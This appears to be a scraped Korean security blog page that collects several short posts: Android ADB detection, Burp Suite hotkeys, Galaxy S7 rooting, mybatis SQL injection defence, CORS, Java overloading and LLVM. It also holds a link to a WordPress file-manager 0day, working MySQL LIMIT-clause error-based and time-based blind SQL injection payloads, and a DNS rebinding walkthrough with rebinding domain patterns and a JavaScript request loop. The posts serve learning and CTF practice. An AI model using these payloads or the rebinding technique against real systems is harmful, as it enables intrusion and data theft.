- 모바일 usb 케이블 연결 시

 

USB 디버깅 사용 여부 감지에 대하여 아래와 같이 내용 전달해 드립니다

체크가 필요한 시점에 안드로이드의 세팅 값으로 부터 ADB Enable 상태를 가져와서 체크합니다

 

가져오기 위한 클래스는 아래 링크를 참고해 주세요
https://developer.android.com/reference/android/provider/Settings.Secure

 

가져오기 위한 상숫값은 아래 링크를 참고해 주세요
https://developer.android.com/reference/android/provider/Settings.Global#ADB_ENABLED

 

Settings.Global  |  Android 개발자  |  Android Developers

 

developer.android.com

 

'모바일' 카테고리의 다른 글

 Cydia Impactor alternative  (0) 2020.09.10
메모리 덤프 시 평문 추출 대응 방안  (0) 2020.09.06
갤럭시 S7 루팅  (0) 2020.08.24
frida iOS hook  (0) 2020.08.10
frida 추가  (0) 2020.08.10
블로그 이미지

wtdsoul

,

Word press plugin 0day

CVE 2020. 9. 6. 17:14

github.com/w4fz5uck5/wp-file-manager-0day

 

w4fz5uck5/wp-file-manager-0day

wp-file-manager 6.7 (Aug 2020) Wordpress Plugin 0day - Remote Code Execution - w4fz5uck5/wp-file-manager-0day

github.com

 

 

 

'CVE' 카테고리의 다른 글

CVE-2020-1472 취약점 분석 글 (경로 참고)  (0) 2020.10.08
Bitcoin Remote Dos CVE 2018  (0) 2020.09.06
POODLE Attack  (0) 2020.08.09
CVE-2020-0796-RCE-POC  (0) 2020.07.14
CVE-2019-8805 - A macOS Catalina privilege escalation  (0) 2019.12.10
블로그 이미지

wtdsoul

,

Burp Suite 단축키 관련

2020. 9. 2. 13:01

 

m.blog.naver.com/PostView.nhn?blogId=crehacktive3&logNo=220964754861&proxyReferer=https:%2F%2Fwww.google.com%2F

 

버프 스위트(Burp Suite) 주요 단축키 및 단축키 설정

웹 사이트 진단 시 가장 많이 사용하는 도구가 버프 스위트(Burp Suite)인데 만약 단축키가 없었다면 고...

blog.naver.com

 

Step 1) "Options > Misc" 탭의 "Hotkeys" 섹션에서 "Edit hotkeys" 버튼 클릭
※ 버프스위트 1.7 버전은 "User options" 

 

그림2. Option > Misc 탭

Step 2) 해당 창에서 "Issue Repeater request" 클릭 후 원하는 단축키를 누른 뒤 "OK" 버튼 클릭(필자는 "Ctrl +q"를 하였음.) 

그림3. 단축키 설정창

Step 3) 설정 후 "Repeater" 탭에서 설정한 단축키를 누르면, "Go" 기능이 정상적으로 실행 된다.

이상 버프 스위트(Burp Suite) 주요 단축키 및 단축키 설정에 대해 살펴보았다. 단축키를 사용하게 되면, 단연 작업 속도가 더 빨라 질 것임을 보장한다~!

 

 

 

'' 카테고리의 다른 글

subdomain finder  (0) 2020.10.21
TLS 1.0, 1.1 중단 일정  (0) 2020.10.12
Spring mybatis SQL 인젝션 대응  (0) 2020.08.20
Procedure Analysis SQL 인젝션  (0) 2020.08.13
CORS (Cross Origin Resource Sharing)  (0) 2020.08.11
블로그 이미지

wtdsoul

,

갤럭시 S7 루팅

모바일 2020. 8. 24. 21:11

https://dl.twrp.me/herolte/

 

Download TWRP for herolte

Team Win strives to provide a quality product. However, it is your decision to install our software on your device. Team Win takes no responsibility for any damage that may occur from installing or using TWRP. We recommend downloading the latest version of

dl.twrp.me

https://github.com/topjohnwu/Magisk/releases

 

Releases · topjohnwu/Magisk

The Magic Mask for Android. Contribute to topjohnwu/Magisk development by creating an account on GitHub.

github.com

deliberate-practice.tistory.com/54

 

Magisk를 이용한 안드로이드 루팅

Magisk를 이용한 안드로이드 루팅 Magisk를 이용하여 루팅하는 방법을 알아보겠습니다. Magisk는 /system 디렉토리를 변경하지 않고 루트 권한 획득이 가능하고 Magisk Manager 앱에서 쉽게 다양한 모듈

deliberate-practice.tistory.com

https://dl.twrp.me/hlteskt/

 

Download TWRP for hlteskt

Team Win strives to provide a quality product. However, it is your decision to install our software on your device. Team Win takes no responsibility for any damage that may occur from installing or using TWRP. We recommend downloading the latest version of

dl.twrp.me

 

- G7 루팅 할려다가 엄청나게 삽질을 하여 기록을 남겨둠

- 해당 방법은 안드로이드 8.0에서 진행하였고, Super Su가 아닌 Magisk를 이용한 루팅 방법이다.

- 만약 리커버리에서 나처럼 Super Su 설치를 진행하면 그냥 순정펌웨어 설치하는게 정신 건강에 좋다.

 

G7 TWRP 설치 및 Magisk 설치

 

준비물

G7(SM-G930S), Odin3 v3.13, TWRP, Magisk Manager, Magisk.apk 

 

- 최초 리커버리 이미지 설치 : 볼륨 하 + 홈 버튼 + 전원 버튼 

- 리커버리 접근 : 볼륨 상 + 홈 버튼 + 전원 버튼

 

1. Odin 이용 시 Auto Reboot, Reset Time 제거 후 진행

2. 메인 메뉴에서 Wipe 선택 > 우측 하단의 Format Data 선택 > yes 입력 후 키보드 우측 하단의 체크 버튼 선택

(무결성 검증 때문에 필수)

3. adb push /Magisk-v20.3.zip /sdcard 후 install 설치

4. 리커버리 및 Magisk 설치 후 기기 내 Magisk.apk 설치 

 

- 참고

오딘으로 TWRP를 설치하고 부팅을 하면 순정리커버리로 복원됩니다.
TWRP를 설치할때 오딘에서 Auto Reboot에 체크를 해제하라는게 이것때문이지요.
오딘에서 Auto Reboot에 체크를 해제해도 바로 부팅을 시켜버리면 순정리커버리로 복원되어버립니다.
오딘에서 TWRP를 올린후 바로 리커버리로 진입하세요. 잘못해서 부팅되버리면 도루묵입니다.
이게 어렵다 싶으시다면 CAF Auto Root로 루팅을 먼저 하신후 Flashify 앱으로 리커버리를 설치하는 방법도 있습니다. 

 

 



'모바일' 카테고리의 다른 글

메모리 덤프 시 평문 추출 대응 방안  (0) 2020.09.06
모바일 usb 케이블 사용 여부 탐지  (0) 2020.09.06
frida iOS hook  (0) 2020.08.10
frida 추가  (0) 2020.08.10
iOS (SSL Pinning)  (0) 2020.08.09
블로그 이미지

wtdsoul

,

 

https://sas-study.tistory.com/96

 

Spring mybatis에서 #{ }문법과 ${ }문법의 차이점(feat. SQL Injection)

안녕하세요. 오늘 공유할 내용은 Spring mybatis에서 사용하는 #{} 문법과 ${} 문법의 차이와 ${}문법을 사용했을때 발생할 수 있는 SQL Injection이라는 해킹 방법에 대하여 내용을 공유하고자 합니다. 먼

sas-study.tistory.com

http://apollo89.com/wordpress/?p=2175

 

mybatis sql injection 취약점 » Apollo89.com

Notice : 해당 자료가 저작권등에 의해서 문제가 있다면 바로 삭제하겠습니다. 연구목적으로 사용하지 않고 악의적인 목적으로 이용할 경우 발생할 수 있는 법적은 책임은 모두 본인에게 있습니��

apollo89.com

- 입력 값을 반드시 검증 후 사용

- $ 파라미터 대신 # 파라미터를 사용

 

'' 카테고리의 다른 글

TLS 1.0, 1.1 중단 일정  (0) 2020.10.12
Burp Suite 단축키 관련  (0) 2020.09.02
Procedure Analysis SQL 인젝션  (0) 2020.08.13
CORS (Cross Origin Resource Sharing)  (0) 2020.08.11
DNS Rebinding 을 이용한 우회  (0) 2020.08.10
블로그 이미지

wtdsoul

,

 

https://tempuss.tistory.com/entry/Limit-%EC%A0%88%EC%97%90%EC%84%9C%EC%9D%98-SQL-Injection

 

Procedure analyse()를 이용한 SQL Injection

[LIMIT {[ offset ,] row_count | row_count OFFSET offset }] [PROCEDURE procedure_name ( argument_list )] [INTO OUTFILE ' file_name ' [CHARACTER SET charset_name ] export_options | INTO DUMPFILE ' fil..

tempuss.tistory.com

https://www.hides.kr/284

 

Limit 구문에서의 SQL Injection

rubiya의 LOS 를 풀다가 알게된 기법을 적으려 한다. 이 기법은 사용자의 입력값이 아래와 같이 LIMIT 절 다음에 들어갈 시 사용할 수 있는 취약점이다. SELECT * FROM member WHERE id='guest' LIMIT {user input..

www.hides.kr

참고

CTF가 아닌 현업에서 실제로 실행된 사례가 있어서 참고함

 

 

그중에서 사용되는 함수는 다양하지만

extractvalue()라는 함수가 있습니다.

 

mysql> SELECT * FROM user WHERE id='admin' limit 1 procedure analyse(extractvalue(1,concat(0x3a,version())),1); ERROR 1105 (HY000): XPATH syntax error: ':5.1.41-community' mysql>

 

이렇게 하면 version을 뽑을 수 있습니다.

그 외에도 information_schema에 접근하여 DB와 테이블명에 대해서도 뽑아 올 수 있습니다. 

 

쿼리)

procedure%20analyse(extractvalue(1,concat(0x3a,version())),1) 

 

 

- error base

mysql SELECT id FROM test WHERE id='admin' limit 0,1 procedure analyse(extractvalue(1, concat(0x3a, version())), 1);

ERROR 1105 (HY000): XPATH syntax error: ':5.1.41-community'

 

- blind

mysql > SELECT id FROM test WHERE id='admin' limit 0,1 procedure analyse(extractvalue(1, concat(0x3a, (if(mid(version(),1,1) like 5, sleep(5),1))), 1);

 

 

limit 1 procedure analyse(extractvalue(1,concat(0x3a,if(ascii(substr(version(),1,1))>10,sleep(1),0))),1);

-> Only constant XPATH queries are supported

sleep 함수대신 benchmark 함수를 써본다.

 

limit 1 procedure analyse(extractvalue(1,concat(0x3a,if(ascii(substr(version(),1,1))>10,benchmark(1000000,sha('a')),0))),1);

 

성공적으로 시간지연이 일어나고 한글자씩 추출해낼 수 있다.

 

 

'' 카테고리의 다른 글

Burp Suite 단축키 관련  (0) 2020.09.02
Spring mybatis SQL 인젝션 대응  (0) 2020.08.20
CORS (Cross Origin Resource Sharing)  (0) 2020.08.11
DNS Rebinding 을 이용한 우회  (0) 2020.08.10
Web Assembly 시작  (0) 2020.08.09
블로그 이미지

wtdsoul

,

https://medium.com/@woody_dev/cors-cross-origin-resource-sharing-cea401fb79b6

 

CORS(Cross Origin Resource Sharing)

CORS란 무엇인가?

medium.com

 

 

CORS(Cross Origin Resource Sharing)는 브라우저가 XHR(XMLHttpRequest)을 이용해 Cross-Origin 요청이 가능하여, 서로 다른 도메인(사이트) 간 자원을 공유할 수 있게 해주며, 특정 조건들이 만족할 경우 동일 출처 정책(SOP : Same Origin Policy)에 의한 제한을 완화하는 데 사용될 수 있습니다.

 

 

동일 출처 정책(SOP : Same Origin Policy)은 보안 상의 이유로, 브라우저들의 스크립트 내에서 초기화되는 cross-origin HTTP 요청을 제한하는 것으로 다른 웹페이지에서 접근할 때는 동일한 출처, 즉 프로토콜, 호스트명, 포트가 같은 웹페이지에만 접근이 가능합니다. 예를 들면, XMLHttpRequest는 동일 출처 정책을 따르기에, XMLHttpRequest을 사용하는 웹 애플리케이션은 자신과 동일한 도메인으로 HTTP 요청을 보내는 것만 가능합니다. 즉, 웹페이지의 스크립트는 그 페이지와 같은 서버에 있는 주소만 ajax 요청을 할 수 있습니다.

 

 

 

'' 카테고리의 다른 글

Spring mybatis SQL 인젝션 대응  (0) 2020.08.20
Procedure Analysis SQL 인젝션  (0) 2020.08.13
DNS Rebinding 을 이용한 우회  (0) 2020.08.10
Web Assembly 시작  (0) 2020.08.09
Oauth 개념과 원리  (0) 2020.08.09
블로그 이미지

wtdsoul

,

 

https://private.tistory.com/25

 

 

오버로딩과 오버라이딩 차이와 예제

자바에서 다형성을 지원하는 방법으로 메서드 오버로딩과 오버라이딩이 있습니다. 오버로딩(Overloading) : 같은 이름의 메서드 여러개를 가지면서 매개변수의 유형과 개수가 다르도록 하는 기술 �

private.tistory.com

자바에서 다형성을 지원하는 방법으로 메서드 오버로딩 오버라이딩이 있습니다.

 

 

오버로딩(Overloading) : 같은 이름의 메서드 여러개를 가지면서 매개변수의 유형과 개수가 다르도록 하는 기술

오버라이딩(Overriding) : 상위 클래스가 가지고 있는 메서드를 하위 클래스가 재정의해서 사용

 

서로 개념은 다르지만 이름이 비슷해서 헷갈리는 경우도 있고, 신입 개발자의 경우 면접 단골 질문이기도 하니 

하나하나 예제를 살펴보겠습니다.

 

오버로딩(Overloading)

 오버로딩은 메서드 오버로딩과 생성자 오버로딩이 있습니다. 하지만 둘 다 같은 개념이에요.

같은 이름의 함수(메서드)를 여러개 정의하고, 매개변수의 유형과 개수를 다르게 하여 다양한 유형의 호출에 응답할 수 있게됩니다.

 

 

예제소스)

 

실행결과)

이름이 cat인 메서드가 총 3개가 있지만 각각 매개변수의 유형과 개수가 다른게 보이시죠?

 



오버라이딩(Overriding)

 

 상위 클래스가 가지고 있는 멤버변수가 하위 클래스로 상속되는 것처럼 상위 클래스가 가지고 있는 메서드도 하위 클래스로 상속되어 하위 클래스에 사용할 수 있습니다. 또한, 하위 클래스에서 메서드를 재정의해서도 사용할 수 있습니다.

쉽게 말해 메서드의 이름이 서로 같고, 매개변수가 같고, 반환형이 같을 경우에 상속받은 메서드를 덮어쓴다고 생각하시면 됩니다. ' 부모클래스의 메서드는 무시하고, 자식 클래스의 메서드 기능을 사용하겠다'와 같습니다.

 

실행결과)

 

 

 

 

 

'개발' 카테고리의 다른 글

new bufferedoutputstream(response.getoutputstream()) resource leak  (0) 2021.11.04
Spring Boot  (0) 2021.08.13
[C언어/C++] strcpy, strncpy 함수(문자열 복사)  (0) 2021.06.06
LLVM 이란  (0) 2020.08.10
함수의 호출방식  (0) 2020.08.10
블로그 이미지

wtdsoul

,

https://kookhh0827.tistory.com/entry/Webhacking-SOPSame-Origin-Policy-%EC%86%8C%EA%B0%9C%EC%99%80-DNS-rebinding%EC%9D%84-%EC%9D%B4%EC%9A%A9%ED%95%9C-%EC%9A%B0%ED%9A%8C%EB%B2%95%EC%8B%A4%EC%8A%B5-%ED%8F%AC%ED%95%A8

 

[Webhacking] SOP(Same Origin Policy) 소개와 DNS rebinding을 이용한 우회법(실습 포함)

XSS나 CSRF를 시도하다 보면 마주치게 되는 웹 보안 정책이 두가지가 있습니다. SOP(Same Origin Policy)와 CSP(Content Security Policy)가 바로 그 대상입니다. 이 둘은 기초적인 웹 보안 정책이면서, XSS나 CSR..

kookhh0827.tistory.com

https://savni.tistory.com/entry/DNS-Rebinding%EC%9D%84-%EC%9D%B4%EC%9A%A9%ED%95%9C-Transmission-%EC%B7%A8%EC%95%BD%EC%A0%90-%EB%B6%84%EC%84%9D

 

DNS Rebinding을 이용한 Transmission 취약점 분석

페이스북을 눈팅만 하다가 뭐할거 없나 하다가 발견했던 게시물중 DNS Rebinding에 대해 처음 들어봐서 분석을 시작하게 되었습니다. 주의 : 이글은 웹알못 넷알못 컴알못이 작성한 글이므로 잘못��

savni.tistory.com

위 경로 참고

 

XSS나 CSRF를 시도하다 보면 마주치게 되는 웹 보안 정책이 두가지가 있습니다.

SOP(Same Origin Policy)와 CSP(Content Security Policy)가 바로 그 대상입니다.

 

이 둘은 기초적인 웹 보안 정책이면서, XSS나 CSRF를 막아주는 중요한 녀석들입니다.

CTF와 같은 실전에서 이를 우회하기 위해서는 이 정책들을 정확하게 알고, 대처하는 방법을 알아두는 것이 좋습니다.

이번 포스트에서는 이 둘중 SOP를 소개하고,

이를 우회하는 방법으로 잘 알려진 DNS rebinding을 자세하게 알려드리도록 하겠습니다.

 

SOP(Same Origin Policy)란?
다른 출처 간 자원 접근 차단 정책

Same Origin Policy를 이해하기 위해서는 먼저 여기서 말하는 Origin이 무엇인지 정확하게 알고 있어야 합니다.

 

웹보안 정책에서 Origin(출처)는 Scheme, Host, Port 이 세가지로 구성되어 있습니다.

이에 대한 것은 Mozilla의 문서에서도 확인할 수 있습니다(https://developer.mozilla.org/ko/docs/Web/Security/Same-origin_policy)

 

먼저 Scheme은 http://나 https://나 ftp://와 같은 URI의 맨 앞에 붙는 문자열을 의미합니다.

이는 클라이언트에서 이를 처리하는 방식을 지정해줍니다. http가 붙으면 해당 프로토콜로 작동하는 것처럼요.

 

다음으로 Host는 "www.tistory.com"이나 "www.google.com"과 같은 도메인을 의미합니다.

이 뒤에 붙는 /index.html과 같은 PATH는 Host에 포함되지 않습니다.

 

마지막으로 Port는 말 그대로 포트입니다. 도메인은 IP와 대응되고, 이 뒤에 포트를 지정해 줄 수 있죠.

"www.tistory.com:8081"과 같이 도메인 뒤에 붙여 접속할 포트번호를 지정할 수 있습니다.

 

아래는 이와 관련된 예제입니다. 이를 보시면 쉽게 이해하실 수 있습니다.

 

기본 출처 : http://kookhh.ml (80포트)

1번 : http://kookhh.ml/some_dir/index.php -> O
2번 : https://kookhh.ml -> X (Scheme이 다름)
3번 : http://google.com -> X (Host가 다름)
4번 : http://kookhh.ml:4301 -> X (Port가 다름)

 

kookhh.ml에서 www.naver.com로 요청해도 응답 안줌!

CORS(Cross Orgin Resource Sharing) policy 때문에 XMLHttpRequest가 차단되었다는 메세지입니다.

 

API같은걸 만드는 개발자 입장에서는 이를 해결하기 위해서는 위의 에러 메세지에 적힌 것과 같이 Access-Control-Allow-Origin 헤더를 보내서, 접근을 허용하는 Origin을 정해주면 됩니다.

또는 JSONP를 이용하거나, 서브도메인 간의 접근을 위해서는 document.domain을 이용하는 방법도 있습니다.

하지만 이런 내용은 해킹과는 크게 연관이 없기 때문에 여기에서 다루지는 않겠습니다.

 

 

 

 

DNS Rebinding Attack 소개
강력한 SOP 우회법

XSS를 할 때는 SOP는 별로 문제가 되지 않을 수 있지만,

CTF에서는 XSS 되는 곳과, 플래그가 숨겨진 곳의 Origin이 다를 때도 있습니다.

이는 Defcon CTF 2019 Quals의 ooops라는 문제에서도 등장한 적이 있습니다(해당 문제 라이트업 : https://ctftime.org/task/8528)

 

사실 CSRF 공격에서도 문제가 되지 않을 때가 있습니다.

그냥 요청만 보내는 것은 SOP에서 막지 않기 때문이에요, 게시글 수정, 삭제, 비밀번호 변경 등의 요청은 이 정책에 구애받지 않고 할수 있어요.

 

하지만 CSRF 토큰을 이용해서 막아뒀다거나, 다른사이트의 쿠키값같은걸 들고오고 싶다면(DOM에 접근하고 싶다면) 당연히 SOP를 우회해서 공격해야 합니다. 

 

여기서 보통 일반적으로 생각할 수 있는 방법이 DNS Rebinding 공격입니다.

DNS Rebinding Attack
악의적인 사이트의 도메인에 할당된 IP를 잠재적인 희생자가 사이트에 들어와있는 동안 공격하고자 하는 사이트의 IP로 바꾸어 Same Origin Policy를 우회하는 방법

이 공격을 하기 위해서는 악의적인 DNS 서버를 하나 파서,

낮은 주기의 TTL로 A라는 도메인에 할당된 아이피가 a라는 IP와 b라는 IP 사이를 왔다갔다 해야합니다.

 

간단한 공격 순서도

 

위 사진이 공격 순서입니다.

 

먼저 희생자(Victim)이 Domain A로 연결합니다. 브라우저는 이 Domain A의 IP를 얻기 위해 DNS 서버에 요청을 보냅니다.

그러면 악의적인 DNS 서버에서 이에 대한 IP가 111.111.111.111이라고 알려줍니다.

이 IP는 우리가 만든 악의적인 스크립트가 심어진 악의적인 페이지입니다.

 

여기서 잠시 뒤에 스크립트가 실행됩니다. 이 스크립트는 Domain A로 요청을 보내고, 응답을 읽어들입니다.

하지만 Domain A에 대한 ttl이 낮아서, 다시한번 브라우저는 IP를 얻기 위해 DNS 서버에 요청을 보냅니다.

 

이번에는 악의적인 DNS 서버에서 이 도메인의 IP가 222.222.222.222라고 알려줍니다.

이제 브라우저가 스크립트를 실행시키는데, Domain A의 IP가 222.222.222.222로 바뀌었기 때문에 실제로 요청은 희생양이 될 사이트로 보내지게 됩니다.

 

브라우저 입장에서는 Domain은 A로 똑같기 때문에, Same Origin Policy에 위배되지 않는다고 생각하고 응답을 읽어들일 수 있도록 허용해줍니다. scheme이나 port는 당연히 똑같이 맞춰줘야겠죠.

 

이렇게 해서 희생자가 사이트에 들어가는 순간의 Domain A에 할당된 IP가 111.111.111.111,

악성 스크립트가 동작하는 순간의 Domain A의 IP가 222.222.222.222로 브라우저에게 인식된다면 공격 성공입니다.

 

DNS Rebinding Attack을 위한 DNS Server 소개
whonow, rbndr

이제 이걸 배웠으니 실습을 해보고 싶은데 dns 서버를 직접 파는것은 굉장히 귀찮은 일입니다.

 

그래서 이미 똑똑한 사람들이 이 공격을 쉽게 할 수 있도록 dns 서버를 만들어 놨습니다.

사용법도 굉장히 간단합니다.

 

먼저 whonow입니다.

# respond to DNS queries for this domain with 34.192.228.43 the first time
# it is requested and then 192.168.1.1 every time after that
A.34.192.228.43.1time.192.168.1.1.forever.rebind.network

# respond first with 34.192.228.43, then 192.168.1.1 the next five times,
# and then start all over again (1, then 5, forever...)
A.34.192.228.43.1time.192.168.1.1.5times.repeat.rebind.network

관련 소스는 https://github.com/brannondorsey/whonow 에서 확인할 수 있습니다.

 

A.<ip-address>.<rule>[.<ip-address>.<rule>[.<ip-address>.<rule>]][.uuid/random-string].example.com

사용법은 위와같이 굉장히 간단합니다.

 

A.127.0.0.1.1time.172.217.31.174.1time.repeat.[내 uuid].rebind.network

테스트로 위와 같은 도메인을 확인해보겠습니다.

 

127.0.0.1과 172.217.31.174가 반복된다

 

whonow는 사용법이 조금 더 복잡한 대신 작동하는 방식을 원하는대로 고를 수 있습니다.

 

다음으로 소개드릴 rbndr은 주기적으로 두개의 IP를 응답해서 보내는 것만 지원하지만,

사용법은 매우 간단합니다.

 

base16으로 ip 두개만 넣어주면 된다

관련 소스는 https://github.com/taviso/rbndr 에서 확인할 수 있습니다.

 

<ipv4 in base-16>.<ipv4 in base-16>.rbndr.us

사용법은 위와 같은데 base16을 자동으로 계산해서 url을 만들어주는 사이트도 있습니다.

https://lock.cmpxchg8b.com/rebinder.html

7f000001.acd91fae.rbndr.us

테스트로 위와 같은 도메인을 resolving 해보겠습니다.

 

172.217.31.174와 127.0.0.1이 반복된다

두 서비스 모두 아주 잘 동작하고 있는 것을 알 수 있습니다.

 

 

 

 

실습
브라우저의 캐시와 같은 환경을 고려해야 한다

DNS Rebinding은 상황에 따라 아주 강력한 공격법이 될 수 있습니다.

 

하지만 그전에 항상 간단하게 SOP를 우회할 방법이 있지 않을까 생각해봐야 합니다.

 

예를들어 2019 사이버작전 경연대회에 나온 The Camp라는 문제도 CSP(Content Security Policy)때문에 object 같은걸로 외부의 스크립트를 끌어와서 문제 사이트를 방문하는 봇의 쿠키를 털어야 했는데,

문제 사이트 내에서 특정 페이지에는 이 CSP가 작동하지 않아서 쉽게 해결할 수 있었거든요(해당 문제 라이트업 : https://kookhh0827.tistory.com/6)

 

그리고 앞서 말씀드린 Defcon CTF 2019 qulas - ooops 에서도 문제의 특수한 환경(프록시) 때문에 같은 도메인에 스크립트를 심어서 SOP를 우회하는 방법이 있었습니다.

 

이렇게 말하는 이유는 상황에 따라 공격이 어려울 수 있기 때문입니다.

 

주요한 원인이 브라우저의 캐시인데, 크롬 브라우저는 1분 정도 DNS 캐시를 유지한다고 합니다.

(참고 : https://stackoverflow.com/questions/36917513/how-long-google-chrome-and-firefox-cache-dns-records)

 

DNS 서버에서 바로바로 IP를 바꾸더라도 실제 적용은 1분 뒤에 되기 때문에, 시간적인 제약이 따릅니다.

 

실습을 위해 이를 실제로 실험해봤습니다.

 

<script>
function sleep(ms) { //sleep을 위한 함수
  return new Promise(resolve=>setTimeout(resolve, ms));
}


var count = 0;
async function send_test() {
	await sleep(5000); //5초 기다림
	var xhr = new XMLHttpRequest(); //새로운 XML요청 객체 생성
	xhr.onreadystatechange = function() { //응답이 왔을때 실행될 함수
		if (xhr.readyState === xhr.DONE) { 
			if (xhr.status === 200 || xhr.status === 201) {
				console.log(xhr.responseText); //응답을 콘솔에 찍는다
				count += 1;
				if(count < 30){send_test();}
			} else {
				console.error(xhr.responseText);
				count += 1;
				if(count < 30){send_test();}
			}
		}
	};
	xhr.open('GET', '/'); //본인 host의 '/'로 요청
	xhr.send(); //요청 보냄
} 
send_test();

</script>

간단한 소스코드입니다.

 

5초마다 XMLHttpRequest로 본인의 도메인에 '/'로 요청을 보내서 응답을 읽어옵니다.

총 30번정도 시도하도록 했습니다.

 

whonow를 이용해서 시도했고,

테스트는 제 개인 서버인 kookhh.ml(119.202.94.170)로 했으며

DNS Rebinding으로 정보를 긁어오는 곳은 google.com(172.217.31.174)입니다.

 

A.119.202.94.170.1time.172.217.31.174.1time.repeat.[내 UUID].rebind.network

 

이런식으로 만들어서 테스트했습니다.

 

처음엔 119.202.94.170으로 연결된다

11번 뒤(약 1분 뒤)에 172.217.31.174로 바뀌었다

그 결과 크롬 브라우저(버전 76.0.3809.100(공식 빌드) (64비트)) 에서 약 1분정도 뒤에 IP가 바뀌어 구글로 요청이 보내지는 것을 알 수 있었습니다.

 

그리고 해당 사이트의 응답 또한 console에 잘 찍힙니다.

이 말은 SOP를 우회하고, 희생자의 로컬에서 제가 원하는 동작을 마음껏 하게 한 뒤

응답값까지 정상적으로 읽어올 수 있다는 것입니다.

 

단 1분만 사용자가 악의적인 사이트에 접속해 있도록 하면 됩니다.

'' 카테고리의 다른 글

Procedure Analysis SQL 인젝션  (0) 2020.08.13
CORS (Cross Origin Resource Sharing)  (0) 2020.08.11
Web Assembly 시작  (0) 2020.08.09
Oauth 개념과 원리  (0) 2020.08.09
SSRF Types And Ways To Exploit It (Part-1)  (0) 2020.08.09
블로그 이미지

wtdsoul

,

LLVM 이란

개발 2020. 8. 10. 13:36

https://jacking75.github.io/Trans_llvm/

 

LLVM 이란? - jacking75

원문 LLVM 프로젝트는 모듈러와 재이용 가능한 컴파일러와 툴 체인 기술의 집합이다. 이 이름에도 불구하고 LLVM은 기존 VM과는 거의 관계가 없다. LLVM이라는 이름은 머리 글자를 딴 것이 아니라 프

jacking75.github.io

LLVM 이란?

LLVM 프로젝트는 모듈러와 재이용 가능한 컴파일러와 툴 체인 기술의 집합이다.
이 이름에도 불구하고 LLVM은 기존 VM과는 거의 관계가 없다.
LLVM이라는 이름은 머리 글자를 딴 것이 아니라 프로젝트 이름이다.

LLVM은 모던하고 SSA 베이스한 임의의 프로그래밍 언어의 정적 컴파일과 동적 컴파일을 모두 지원할 수 있는 컴파일 전략을 제공하는 것을 목적으로 한 일리노이 대학의 연구 프로젝트에서 시작되었다. 그 뒤 LLVM은 몇 개의 서브 프로젝트로 구성되는 umbrella project로 성장했다.
대부분은 학술 연구는 물론 폭넓은 분야의 상업 용이나 오픈 소스 프로젝트에 의한 프로덕션에서 사용되고 있다.
LLVM 프로젝트의 소스 코드는 “UIUC” BSD-Style 라이선스이다.

LLVM의 주요 서브 프로젝트

  1. LLVM Core 라이브러리
    source 나 target 이라는 독립한 현대적인 옵티마이저와 많은 일반적인 CPU(일반적이 아닌 것도 있다)의 코드 생성을 지원한다.
    이들 라이브러리는 LLVM intermediate representation(LLVM IR)라고 알려진 잘 정의된 코드 표현을 중심으로 구성된다.
    LLVM Core 라이브러리는 잘 문서화되어 있으므로 당신 자신이 언어를 작성(또는 기존의 컴파일러를 가져와서), 옵티마이저, 코드 생성기로 LLVM을 사용하는 것은 특히 간단한다.
  2. Clang
    LLVM 네이티브인 C/C++/Objective-C 컴파일러로 놀라울 만큼 빠른 컴파일을 제공하는 것을 목적으로 하고 있다.
  3. LLDB project
    LLVM과 Clang에 의해서 제공된 라이브러리 상에서 네이티브한 디버거를 제공한다.
  4. ibc++ and libc++ ABI projects
    C++ 표준 라이브러리의 표준 준수와 고성능한 구현을 제공한다.
  5. compiler-rt project
  6. OpenMP subproject
  7. polly project
  8. libclc project
  9. klee project
  10. SAFECode project
  11. lld project

Features

LLVM Features

C와 C++ 컴파일러의 이야기.

Strengths of the LLVM System

  1. LLVM은 심플한 저 수준 언어를 사용한다.
  2. LLVM에는 C와 C++용 프론트엔드가 포함된다. Java, Scheme, 기타 언어 프론트엔드는 개발 중이다.
  3. LLVM에는 굉장히 옵티마이저가 포함된다.
  4. LLVM은 life-long compilation model을 지원한다.
  5. LLVM은 accurate garbage collection을 완전 지원한다.
  6. LLVM code generator 라는 것이 있다.
  7. 이후에는 기능적인 이야기가 없어서 생략.

프론트엔드가 각 프로그램 언어를 해석하는 부분, 중간에 있는 옵티마이저가 “LLVM Core 라이브러리”, 백엔드가 각 프로세서용 기계 코드를 출력하는 부분이다.
“LLVM Core 라이브러리”의 설명에도 있었던 source와 target은 아마 이 프론트엔드와 백엔드로 말하는 것이다.

LLVM Audience

이 장은 LLVM이 누구 전용인지 쓰고 있다.

  • 컴파일러 연구자
  • VM 연구자
  • 아키텍처 연구자
  • 보안 연구자
  • 컴파일러의 프로토 타입에 관심이 있는 강사나 개발자
  • 퍼포먼스를 추구하고 싶은 최종 사용자

질문답

Q1. LLVM은 컴파일러 기반라고 하는데 컴파일러 기반은 뭐죠?
A1. 임의의 프로그래밍 언어에서 임의의 프로세서의 기계 코드로 컴파일할 수 있는 기반이라고 생각한다.
LLVM을 이용함으로써 중간 언어의 최적화 처리와 다양한 아키텍쳐에 대응한 기계어 코드 생성 처리를 재활용 할 수 있는 것이 장점이 된다고 생각한다.

Q2. LLVM은 컴파일러 기반이며 VM이 없다고 하지만 LLVM에 포함되는 JIT 컴파일러는 VM과 다른가?
A2. (이것은 LLVM의 설명에 쓰인 건 아니지만)VM은 프로세서를 에뮬레이트 하는 것에 대해서, JIT 컴파일러는 기계 언어로 컴파일하고 실행한다는 점이 다르지 않을까 생각한다.
예를 들어 JVM(Java 가상 머신)는 JIT 컴파일러를 이용하여 실행하고 있으면서 VM으로 불리니 LLVM도 JIT컴파일러 이면서 MV가 아니라는 표현이 꼭 올바르지는 않은듯.

블로그 이미지

wtdsoul

,